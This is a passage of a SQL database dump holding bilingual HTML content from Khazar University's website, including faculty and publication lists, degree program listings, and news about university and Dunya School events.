departamenti)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Rovshan%20Abbasov.pdf\">Rövşən Abbasov</a>, &nbsp;Fəlsəfə elmləri doktoru   (Coğrafiya və Ətraf mühit departamenti)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Irada_Khalilova.pdf\">İradə Xəlilova</a>, Fəlsəfə elmləri doktoru&nbsp;(Biologiya departamenti)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Ali_Huseynli.pdf\">Əli Hüseynli</a>,&nbsp;Fəlsəfə elmləri doktoru (Riyaziyyat&nbsp;departamenti)</p><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Aygun_Verdiyeva.pdf\">Aygün Verdiyeva</a>, Fəlsəfə doktoru, tələbə&nbsp;(Təhsil departamenti), katib</p>'),(521,339,'en','Publications','Publications','<h3>Department of Education</h3>\r\n<p style=\"font-size:medium\">&nbsp;<a href=\"http://www.khazar.org/files/pdf/Elza_Semedova_publication.pdf\">Elza&nbsp;Semedova</a></p>\r\n<p style=\"font-size:medium\">&nbsp;<a href=\"http://www.khazar.org/en/menus/855/isaxan_isaxanli\">Isakhan Isakhanli</a>&nbsp;\r\n</p>\r\n<p style=\"font-size:medium\">Konul Mahiyaddinova&nbsp;</p>\r\n<p style=\"font-size:medium\">Khuraman\r\nNagizadeh<a href=\"http://www.khazar.org/files/Khuraman%20Nagizadeh.doc\"></a></p>\r\n<p style=\"font-size:medium\">Xanım\r\nQadimova<a href=\"http://www.khazar.org/files/CV-Xan%C4%B1m%20Qadimova.docx\"></a></p>\r\n<p style=\"font-size:medium\">Ulkar&nbsp;Bayramova<a href=\"http://www.khazar.org/files/CV_Ulkar_Bayramova.pdf\"></a></p>\r\n<p style=\"font-size:medium\">Ogtay Guliyev<a href=\"http://www.khazar.org/files/CV%20OQTAY%20QUL%C4%B0YEV.doc\"></a></p>\r\n<p style=\"font-size:medium\">Intigam Bashirov&nbsp;(Ph.D. in Management)&nbsp;</p>\r\n<p style=\"font-size:medium\">Ramil\r\nMustafayev<a href=\"http://www.khazar.org/files/Ramil%20Mustafayev_CV_School%20of%20Education_Khazar%20University.pdf\"></a></p>\r\n<p style=\"font-size:medium\">Rovshan\r\nGarayev &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p>\r\n<p style=\"font-size:medium\">Eynur Mehdiyev<a href=\"http://www.khazar.org/files/Eynur%20Mehdiyev.pdf\"></a></p>\r\n<p style=\"font-size:medium\">Vafa Gasimova&nbsp;(Master of Education)</p>\r\n<p style=\"font-size:medium\">Ramina Agayeva&nbsp;</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/en/menus/857/elmira_mirzayeva\">Elmira Mirzayeva</a> </p>\r\n<p style=\"font-size:medium\">&nbsp;</p>\r\n<h3>Department of Azerbaijan Language and Literature </h3>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/pdf/Elza_Semedova_publication.pdf\">Elza&nbsp;Semedova</a></p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/en/menus/859/vurgun_eyyub\">Vurghun Eyyub</a></p>\r\n<p style=\"font-size:medium\">Ilahe\r\nQurbanova<a href=\"http://www.khazar.org/files/%C4%B0lahe%20Qurbanova%20%20CV..doc\"></a></p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/Cahid%20Kazimov%20(2).doc\">Cahid Ismayil oglu Kazimov (Ph.D. in\r\nPhilology)</a></p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/Elmira_Memmedova-Kekec_nesrler_xezer_2014%20(3).doc\">Elmira Mammadova&nbsp;(Ph.D. in\r\nPhilology)</a></p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/Publications_Dilber_Zeynalova.doc\">Dilber Zeynalova</a> </p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/en/menus/858/_reyhan_medetova\">Reyhan Medetova</a></p>\r\n<p style=\"font-size:medium\">&nbsp;&nbsp;</p>\r\n<h3>Department of Geography&nbsp;</h3>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/pdf/Publications_Rovshan_Abbasov.pdf\">Rovshan&nbsp;Abbasov</a></p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/pdf/Publications_Elton_Mammadov.pdf\">Elton&nbsp;Mammadov</a></p>\r\n<p style=\"font-size:medium\">Ramil Sadiqov<a href=\"http://www.khazar.org/files/Ramil%20Sadiqov%20CV..doc\"></a></p>\r\n<p style=\"font-size:medium\">Khalid\r\nMukhtarov&nbsp;<a href=\"http://www.khazar.org/files/Khalid%20Mukhtarov%20CV..docx\"></a></p>\r\n<p style=\"font-size:medium\">Gulnur Salmanova</p>\r\n<p style=\"font-size:medium\">&nbsp;</p>\r\n<h3>Department of History</h3>\r\n<p style=\"font-size:medium\">Yegane Gozelova<a href=\"http://www.khazar.org/files/Yegane%20Gozelova.doc\"></a></p>\r\n<p style=\"font-size:medium\">Gismet Davudov<a href=\"http://www.khazar.org/files/Gismet%20Davudov..doc\"></a></p>\r\n<p style=\"font-size:medium\">Roza Arazova<a href=\"http://www.khazar.org/files/Roza%20Arazova.docx\"></a></p>\r\n<p style=\"font-size:medium\">Araz Aslanli</p><p style=\"font-size:medium\"><br></p><h3>\r\nDepartment of Biology </h3>\r\n<p style=\"font-size:medium\">Aytekin&nbsp;Hasanova<a href=\"http://www.khazar.org/files/Biologiya_CV_AytekinHasanova.pdf\"></a></p>\r\n<p style=\"font-size:medium\">Irada_Xalilova</p>\r\n<p style=\"font-size:medium\">Seadet\r\nXudaverdiyeva</p>\r\n<p style=\"font-size:medium\">&nbsp;Mushfig Orujov</p>\r\n<p style=\"font-size:medium\">Gunay Akbarova&nbsp;(Ph.D. in\r\nBiology)&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"font-size:medium\">Rustam Asgarov&nbsp;(M.A. in Biology)&nbsp;</p>\r\n<p style=\"font-size:medium\">Gulbeniz Mukhtarova&nbsp;(Doc. Ph.D.)</p>\r\n<p style=\"font-size:medium\">&nbsp;</p><h3>Department of Chemistry</h3>\r\n<p style=\"font-size:medium\">Revan Rehimov&nbsp;</p>'),(2184,1338,'az','Dissertasiya işinin ilkin müdafiəsi keçirildi','2016-cı il sentyabrın 19-da Xəzər Universiteti, Magistratura, doktorantura və elmi işlər bölməsi, İngilis dili və ədəbiyyatı departamenti...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il sentyabrın 19-da Xəzər Universiteti, Magistratura,\r\ndoktorantura və elmi işlər bölməsi, İngilis dili və ədəbiyyatı departamenti ilə\r\nAzərbaycan dili və ədəbiyyatı departamenti birlikdə doktorant Nərminə Fətəliyevanın\r\n“Sinonimlik problemi: Müasir ingilis dilində sinonim seçimini tənzimləyən\r\nlinqvistik və ekstralinqvistik amillər” (rus dilində) adlı dissertasiya işinin\r\nilkin müdafiəsini keçirdi. Müdafiədə universitetin Magistratura, doktorantura və\r\nelmi işlər bölməsinin müdiri Eldar Şahgəldiyev, Xəzər Universiteti Azərbaycan\r\ndili və ədəbiyyatı departamentinin müəllimi fil.ü.f.d., dos. Reyhan Mədətova,\r\nAzərbaycan Dillər Universitetinin İngilis dilinin leksikologiyası kafedrasının\r\nmüdiri fil.ü.f.d., dos. Amil Cəfərov, Azərbaycan Dillər Universitetinin əməkdaşları\r\n– fil.ü.f.d. Fəridə Allahverdiyeva və fil.ü.f.d. İradə Nuriyeva, Xəzər\r\nUniversitetinin İngilis dili və ədəbiyyatı departamentinin əməkdaşları iştirak\r\nedirdilər. Doktorant Nərminə Fətəliyeva öz təqdimatında müasir cəmiyyətdə\r\nevfemizlərin əsas funksiyaları, evfemizm seçimini tənzimləyən sosial və\r\nkoqnitiv faktorlar kimi məsələlərə toxunaraq, iştirakçıları dissertasiyanın əsas\r\nnəticələri ilə tanış etdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Təqdimatdan sonra doktorant iştirakçıların suallarını cavablandırdı.</p>'),(522,339,'az','Elmi nəşrlər','Elmi nəşrlər','<h3>Təhsil departamenti</h3><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/pdf/Elza_Semedova_publication.pdf\">Elza&nbsp;Semedova</a> </p><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/en/menus/855/isaxan_isaxanli\">Isakhan Isakhanlı</a></p><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/en/menus/855/isaxan_isaxanli\"></a>Xuraman Nağızadə</p>\r\n<p style=\"font-size:medium\">Könül Məhyəddinova</p>\r\n<p style=\"font-size:medium\">Xanım Qədimova</p>\r\n<p style=\"font-size:medium\">Ülkər Bayramova</p>\r\n<p style=\"font-size:medium\">Ramina\r\nAgayeva&nbsp;<a href=\"http://www.khazar.org/files/Ramina%20Agayeva%20%20Azeri.doc.pdf\"></a></p>\r\n<p style=\"font-size:medium\">Elmira Mirzəyeva</p>\r\n<p style=\"font-size:medium\">İntiqam Bəşirov </p>\r\n<p style=\"font-size:medium\">Oqtay Quliyev</p>\r\n<p style=\"font-size:medium\">Ramil Mustafayev</p>\r\n<p style=\"font-size:medium\">Rövşən Qarayev</p>\r\n<p style=\"font-size:medium\">Eynur Mehdiyev</p>\r\n<p style=\"font-size:medium\">Vəfa Qasımova</p><p style=\"font-size:medium\"><br></p>\r\n<h3>Azərbaycan dili və Ədəbiyyatı departamenti</h3>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/pdf/Elza_Semedova_publication.pdf\">Elza&nbsp;Səmədova</a><a href=\"http://www.khazar.org/files/N%C9%99%C5%9Frl%C9%99r_Elza_S%C9%99m%C9%99dova.doc\"></a></p>\r\n<p style=\"font-size:medium\">Dilbər Zeynalova</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/en/menus/858/_reyhan_medetova\">Reyhan Mədətova</a></p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/en/menus/859/vurgun_eyyub\">Vurğun&nbsp;Əyyub</a><a href=\"http://www.khazar.org/files/Vur%C4%9Fun%20%C6%8Fyyub.doc\"></a></p>\r\n<p style=\"font-size:medium\">İlahə Qurbanova</p>\r\n<p style=\"font-size:medium\">Cahid Ismayıl oğlu Kazımov</p>\r\n<p style=\"font-size:medium\">Elmira Məmmədova&nbsp;</p>\r\n<p style=\"font-size:medium\">&nbsp;</p>\r\n<h3>Coğrafiya departamenti</h3><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/pdf/Publications_Rovshan_Abbasov.pdf\">Rövşən&nbsp;Abbasov</a></p><p><a href=\"http://www.khazar.org/files/pdf/Publications_Elton_Mammadov.pdf\">Elton&nbsp;Mammadov</a></p>\r\n<p style=\"font-size:medium\">Ramil Sadığov</p>\r\n<p style=\"font-size:medium\">Xalid Muxtarov</p>\r\n<p style=\"font-size:medium\">Gülnur Salmanova</p><p style=\"font-size:medium\"><br></p><h3>\r\nTarix departamenti</h3>\r\n<p style=\"font-size:medium\">Yeganə Gözəlova</p>\r\n<p style=\"font-size:medium\">Roza Arazova</p>\r\n<p style=\"font-size:medium\">Araz Aslanli<a href=\"http://www.khazar.org/files/Araz%20Aslanli.doc\"></a></p>\r\n<p style=\"font-size:medium\">Qismet Davudov</p><p style=\"font-size:medium\"><br></p><h3>\r\nBiologiya departamenti</h3>\r\n<p style=\"font-size:medium\">Musfiq&nbsp;Orucov<a href=\"http://www.khazar.org/files/Musfiq_Orucov.doc\"></a></p>\r\n<p style=\"font-size:medium\">Seadet&nbsp;Xudaverdiyeva<a href=\"http://www.khazar.org/files/Seadet_Xudaverdiyeva.doc\"></a></p>\r\n<p style=\"font-size:medium\">Aytəkin Həsənova</p>\r\n<p style=\"font-size:medium\">İradə Xəlilova </p>\r\n<p style=\"font-size:medium\">Günay Əkbərova</p>\r\n<p style=\"font-size:medium\">Rüstəm Əsgərov</p>\r\n<p style=\"font-size:medium\">Gülbəniz Muxtarova</p>\r\n<p style=\"font-size:medium\">&nbsp;</p>\r\n<h3>Kimya\r\ndepartamenti</h3>\r\n<p style=\"font-size:medium\">Rəvan Rəhimov</p>'),(523,340,'az','Magistr dərəcə proqramı','Magistr dərəcə proqramı','<p>Fakültə aşağıdakı ixtisaslar üzrə&nbsp;Magistr\r\nvə Ph.D. dərəcəsi&nbsp;təklif edir:</p>\r\n<p>&nbsp;</p>\r\n<p>Magistrlar təhsilini və tədqiqat yolunu davam\r\netdirir. Fakültə&nbsp; geniş tədqiqat sahələrini özündə birləşdirir, lakin\r\nbunlarla da&nbsp; məhdudlaşmır:</p>\r\n<p>Müqayisəli Təhsil</p>\r\n<p>Təhsil tarixi və fəlsəfəsi</p>\r\n<p>Təlim tədris</p>\r\n<p>Təhsil və Akkreditasiya keyfiyyət</p>\r\n<p>Təhsil və Hüquq</p>\r\n<p>Ümumi\r\ndilçilik&nbsp;maqistr proqramı.</p>\r\n<p>&nbsp;</p>\r\n<p>Azərbaycan\r\nədəbiyyatı&nbsp;maqistr proqramı.</p>\r\n<p>&nbsp;</p>\r\n<p>Azərbaycan\r\ndili&nbsp;maqistr proqramı.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>'),(524,340,'en','Graduate  Programs','Graduate  Programs','<p>There are a number of graduate studies for\r\nM.S., M.A. and Ph.D. degrees at the School which opened recently.</p>\r\n<p>&nbsp;</p>\r\n<p>Azerbaijani\r\nlanguage&nbsp;graduate programme.</p>\r\n<p>&nbsp;</p>\r\n<p>Azerbaijani\r\nliterature_graduate programme.<a href=\"http://www.khazar.org/files/Azerbaijani%20literature_graduate%20programme.doc\"></a></p>\r\n<p>&nbsp;</p>\r\n<p>General\r\nlinguistics_graduate programme.</p>\r\n<p>&nbsp;</p>\r\n<p>Master\r\nof Arts inTheory and History of Education .<a href=\"http://www.khazar.org/files/Master%20of%20Arts%20inTheory%20and%20History%20of%20Education%20%20%20....doc\"></a></p>\r\n<p>&nbsp;</p>\r\n<p>Master\r\nof Arts Program in Educational Administration.<a href=\"http://www.khazar.org/files/Master%20of%20Arts%20Program%20in%20Educational%20Administration.doc\"></a></p>\r\n<p>&nbsp;</p>\r\n<p>Graduate students pursue individual study and\r\nresearch trajectories, supervised by the faculty. The broad areas of research\r\nat the School include, but are not limited to:</p>\r\n<p>Comparative Education</p>\r\n<p>History and Philosophy of Education</p>\r\n<p>Instruction and Teaching</p>\r\n<p>Quality of Education and Accreditation</p>\r\n<p>Education and Law</p>\r\n<p>&nbsp;</p>'),(525,341,'az','Bakalavr dərəcə proqramı','Bakalavr dərəcə proqramı','<p><a href=\"http://www.khazar.org/files/education/Elementary_Education.doc\">İbtidai sinif müəllimliyi</a></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani_%20Language_and_Literature_Education.doc\">Azərbaycan dili və Ədəbiyyat müəllimliyi</a></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani_Language_and_Literature.doc\">Azərbaycan dili və Ədəbiyyatı (Filologiya)</a></p><p><a href=\"http://www.khazar.org/files/education/English_teaching_education.doc\">İngilis dili müəllimliyi</a></p><p><a href=\"http://www.khazar.org/files/pdf/BS_Chemistry_and_Biology_Education.pdf\">Kimya və Biologiya müəllimliyi</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Chemistry_education.doc\">Kimya müəllimliyi</a></p><p><a href=\"http://www.khazar.org/files/education/Biology_education.doc\">Biologiya müəllimliyi</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/BS_History_and_Geography_Education.pdf\">Tarix və Coğrafiya&nbsp;müəllimliyi</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/education/History_education.doc\">Tarix müəllimliyi</a></p><p><a href=\"http://www.khazar.org/files/education/Geography_education.doc\">Coğrafiya müəllimliyi</a></p><p><a href=\"http://www.khazar.org/files/pdf/BS_Mathematics_and_Computer_Education.pdf\">Riyaziyyat və İnformatika müəllimliyi</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Fizika%20muellimliyi.doc\">Fizika müəllimliyi</a></p>'),(2183,1330,'en','Founder’s Appointment as Member of Statistics Committee’s Statistics Board in Media','On the basis of an order of the Cabinet of Ministers entitled “On the Confirmation of the New Composition of the Statistics Board functioning under the State Statistics...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nthe basis of an order of the Cabinet of Ministers entitled “On the Confirmation\r\nof the New Composition of the Statistics Board functioning under the State\r\nStatistics Committee of the Azerbaijan Republic” signed by Artur Rasizade,\r\nPrime Minister of the Azerbaijan Republic, Professor Hamlet Isaxanli, the founder\r\nof Khazar University and Chairman of its Board of Directors and Trustees, was\r\nappointed as a member of the Statistics Board. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Information\r\nabout this appointment was published on several internet news sites. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Detailed\r\ninformation is available at the following links: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://paralel.az/manshet/3239-artur-rasizade-qerar-imzaladi.html\">http://paralel.az/manshet/3239-artur-rasizade-qerar-imzaladi.html</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://apa.az/xeber-az/sosial_xeberler/dovlet-statistika-komitesi-yaninda-statistika-surasinin-yeni-terkibi-tesdiqlenib.html\">http://apa.az/xeber-az/sosial_xeberler/dovlet-statistika-komitesi-yaninda-statistika-surasinin-yeni-terkibi-tesdiqlenib.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://hurriyyet.org/12142-hokumet-qerar-verdi-komitede-shuranin-terkibi-tesdiqlendi.html\">http://hurriyyet.org/12142-hokumet-qerar-verdi-komitede-shuranin-terkibi-tesdiqlendi.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://report.az/daxili-siyaset/dsk-yaninda-statistika-surasinin-yeni-terkibi-tesdiqlenib\">http://report.az/daxili-siyaset/dsk-yaninda-statistika-surasinin-yeni-terkibi-tesdiqlenib</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.dia.az/8/119528-dovlet-statistika-komitesi-yaninda-statistika-shurasinin-yeni-terkibi-tesdiqlenib.html\">http://www.dia.az/8/119528-dovlet-statistika-komitesi-yaninda-statistika-shurasinin-yeni-terkibi-tesdiqlenib.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://politika.az/karusel/21097-bu-memurlara-yeni-vezife-verildi.html\">http://politika.az/karusel/21097-bu-memurlara-yeni-vezife-verildi.html</a>.&nbsp;</p>'),(526,341,'en','Undergraduate  Programs','Undergraduate  Programs','<p><a href=\"http://www.khazar.org/files/education/Elementary_Education.doc\">BA Elementary Education</a></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani_Language_and_Literature.doc\">BA in&nbsp;Azerbaijani&nbsp;Language&nbsp;and&nbsp;Literature</a></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani_%20Language_and_Literature_Education.doc\">BA in&nbsp;Azerbaijani&nbsp;Language&nbsp;and&nbsp;Literature&nbsp;Education</a></p><p><a href=\"http://www.khazar.org/files/education/English_teaching_education.doc\">BA in&nbsp;English Teaching</a></p><p><a href=\"http://www.khazar.org/files/pdf/BS_Chemistry_and_Biology_Education.pdf\">BS in&nbsp;Chemistry&nbsp;and&nbsp;Biology&nbsp;Education</a><br></p><p><a href=\"http://www.khazar.org/files/education/Chemistry_education.doc\">BS in&nbsp;Chemistry Education</a></p><p><a href=\"http://www.khazar.org/files/education/Biology_education.doc\">BS in&nbsp;Biology Education</a></p><p><a href=\"http://www.khazar.org/files/pdf/BS_History_and_Geography_Education.pdf\">BS in&nbsp;History&nbsp;and&nbsp;Geography&nbsp;Education</a></p><p><a href=\"http://www.khazar.org/files/education/History_education.doc\">BS in&nbsp;History Education</a></p><p><a href=\"http://www.khazar.org/files/education/Geography_education.doc\">BS in&nbsp;Geography Education</a></p><p><a href=\"http://www.khazar.org/files/pdf/BS_History_and_Geography_Education.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/BS_Mathematics_and_Computer_Education.pdf\">BS in&nbsp;Mathematics&nbsp;and&nbsp;Computer&nbsp;Education</a></p><p><a href=\"http://www.khazar.org/files/education/BS%20Physics%20Education.doc\">BS in&nbsp;Physics Education</a></p>'),(527,342,'az','Magistr dərəcə proqramı','Magistr dərəcə proqramı','<p><a href=\"http://www.khazar.org/files/pdf/MA_Azerbaijani_language.pdf\">MA in&nbsp;Azerbaijani&nbsp;language</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/MA_Azerbaijani_literature.pdf\">MA in&nbsp;Azerbaijani&nbsp;literature</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/MA_Theory_and_History_Education.pdf\">MA in&nbsp;Theory&nbsp;and&nbsp;History&nbsp;Education</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/MA_in_Educational_Administration.pdf\">MA&nbsp;in&nbsp;Educational&nbsp;Administration</a></p><p><a href=\"http://www.khazar.org/files/pdf/MA_General_linguistics.pdf\">MA in&nbsp;General&nbsp;linguistics</a></p>'),(1947,1191,'az','Magistr Dərəcə Proqramı','Magistr Dərəcə Proqramı','<p><a href=\"http://www.khazar.org/files/pdf/MA_Theory_and_History_Education.pdf\">MA in&nbsp;Theory&nbsp;and&nbsp;History&nbsp;Education</a></p><p><a href=\"http://www.khazar.org/files/pdf/MA_in_Educational_Administration.pdf\">MA&nbsp;in&nbsp;Educational&nbsp;Administration</a></p>'),(1948,1191,'en','Graduate  Programs','Graduate  Programs','<p><a href=\"http://www.khazar.org/files/pdf/MA_Theory_and_History_Education.pdf\">MA in&nbsp;Theory&nbsp;and&nbsp;History&nbsp;Education</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/MA_in_Educational_Administration.pdf\">MA&nbsp;in&nbsp;Educational&nbsp;Administration</a></p>'),(2444,1478,'en','Dunya School and Egyptian Cultural Center Begin Partnership','On October 20, 2016, Khazar University’s affiliate Dunya School and the Egyptian Cultural Center of the Egyptian Embassy to Azerbaijan began a partnership...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On October 20, 2016, Khazar University’s\r\naffiliate Dunya School and the Egyptian Cultural Center of the Egyptian Embassy\r\nto Azerbaijan began a partnership. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">At a meeting of the school\r\nadministrators and Cultural Center representatives, Ahmad Sami, Egypt’s Cultural\r\nAttaché, said that “The Cultural Center is always ready to help and to build\r\npartnership with Dunya School in the fields of education, culture and other\r\nareas.”</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The diplomat also spoke about common\r\nroots of Azerbaijani and Egyptian cultures, our faith, and the readiness of the\r\nCultural Center to help Dunya School by providing educators and specialists\r\nfrom Egypt to teach the Arabic language. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">During the meeting, a decision was made\r\nto hold “Egypt Day” in the near future to highlight the two countries’ cultures\r\nand historical relations.&nbsp;</p>'),(2445,1479,'en','“The Rebirth of the Sun” Event at Dunya School ','On October 18, 2016, Khazar University’s affiliate Dunya School held a series of events entitled “The Rebirth of the Sun” to celebrate October 18- Independence Day of the Azerbaijan...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On October 18, 2016, Khazar University’s\r\naffiliate Dunya School held a series of events entitled “The Rebirth of the\r\nSun” to celebrate October 18- Independence Day of the Azerbaijan Republic. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The events began with student and staff\r\nfield trips to the National Leader Heydar Aliyev Museum and Azerbaijani\r\nIndependence Museum. The school library also opened an exhibit of students’\r\nartwork. The school played patriotic poems and songs over the intercom. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Students also had special classes during\r\nthe week to discuss the 25th anniversary of our country’s independence. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">At the end of the week, a large assembly\r\nwas held in the school’s auditorium for students and teachers. History teachers\r\nspoke about Azerbaijan’s recent history and about the history of Independence\r\nDay. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Students from Azerbaijani, Russian, and\r\nEnglish sectors recited Semed Vurghun’s poem “Azerbaijan” and other poems in\r\nthree languages. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">A short video about independence was\r\nshown, and the students ended the assembly with a national dance.&nbsp;</p>'),(515,336,'en','History','History','<p>Research activity in education was a vital\r\nidea from the very beginning of the university’s establishment and its further\r\nstrategic development. For this purpose, in 1992 Khazar University started a\r\npartnership program with the University of California Los Angeles in the field\r\nof University Management. Within the framework of this partnership program the\r\nCenter for Education and Information Studies was established at Khazar\r\nUniversity. Later on, another center related to Education – the Center for Academic\r\nQuality Assurance – was created with the support of the European Commission.</p>\r\n<p style=\"font-size:medium\">Moreover, Khazar University faculty members\r\nhave been involved in teacher training programs in various regions of\r\nAzerbaijan, including in refugee camps. Accordingly, the Center for Economic\r\nand Business Research and Education was established. This Center particularly\r\ndealt with conducting training in various fields of Economics and Business for\r\nsecondary school teachers and entrepreneurs in Baku and regions of Azerbaijan.</p>\r\n<p style=\"font-size:medium\">In 2003, an undergraduate degree program in\r\nElementary Education started to be offered. The importance of nourishing the\r\nyounger generation of teachers has been prioritized by the University since its\r\nfoundation.</p>\r\n<p style=\"font-size:medium\">Since 2009, The School of Education has\r\noffered new bachelor degree programs such as Azerbaijani Literature and\r\nLanguage Education,&nbsp;Mathematics and Computer Education, Chemistry and\r\nBiology Education, and History and Geography Education.&nbsp;</p>'),(516,336,'az','Tarixi','Tarixi','<p>Təhsildə tədqiqat, Xəzər universitetinin\r\nqurulmasında ən əhəmiyyətli və həyati ideya olaraq, hələ universitet təşkilatının\r\nyaranmasından çox-çox əvvəl ortaya çıxmış, onun gələcək stratejik inkişafında əsas\r\namil olmuşdur. 1992-ci ildən Xəzər Universiteti Koliforniya universiteti ilə\r\nLos Angelesdə Universitetin İdarəedilməsi sahəsində əməkdaşlıq proqramı çərçivəsində\r\nfəaliyyətə başladı. Bu əməkdaşlıq proqramının stukturuna uyğun olaraq Xəzər\r\nUniversitetində Təhsil və İnformasiya Mərkəzi yaradıldı. Daha sonra isə həmin mərkəz.\r\nAvropa Komissiyasının dəstəyi ilə “Təhsildə Keyfiyyətin Yoxlanılması Mərkəzi”\r\nolaraq yenidən formalaşdırıldı.</p>\r\n<p style=\"font-size:medium\">Beləliklə, Xəzər Universitetinin müəllimləri\r\n“Azərbaycan regionlarında müəllim” 